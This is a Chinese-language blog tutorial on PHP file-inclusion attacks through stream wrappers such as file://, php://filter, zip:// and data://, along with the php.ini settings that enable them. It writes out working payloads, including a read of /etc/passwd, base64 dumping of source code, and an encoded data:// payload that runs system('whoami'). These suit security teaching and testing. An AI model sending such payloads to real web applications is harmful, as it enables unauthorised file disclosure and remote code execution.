PHP文件包含-伪协议

伪协议 含义
file:// 访问本地文件系统
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据流
glob:// 查找匹配的文件路径模式
phar:// php 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// 音频流

php.ini 参数

  • allow_url_fopen 默认为 On 允许url里封装协议访问文件
  • allow_url_include 默认为 Off 不允许包含url 里的封装协议包含文件

各种伪协议的利用方法

  • file:// 协议
1
file:///etc/passwd
  • php://filter
1
php://filter/read=convert.base64-encode/resource=index.php
  • php://data 【allow_url_include 设置为 On】

image-20251113224557980

  • zip:// 协议
1
zip://test.zip%23phpinfo.txt

image-20251113225021349

image-20251113225132654

  • data:// 【allow_url_iclude 设置为 On】
1
data://text/plain,<?php phpinfo();?>
1
data:text/plain,<?php phpinfo();?>
1
data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

php://filter 其他过滤器

过滤器 作用
string.rot13 rot13编码
string.toupper 转大写字母
string.tolower 转小写字母
string.strip_tags 去除html标签

例子 :

php://filter/read=string.rot13/resource=index.php


PHP文件包含-伪协议
https://blog.lixey.top/posts/213f8363/
Author
Lixiney
Posted on
November 13, 2025
Licensed under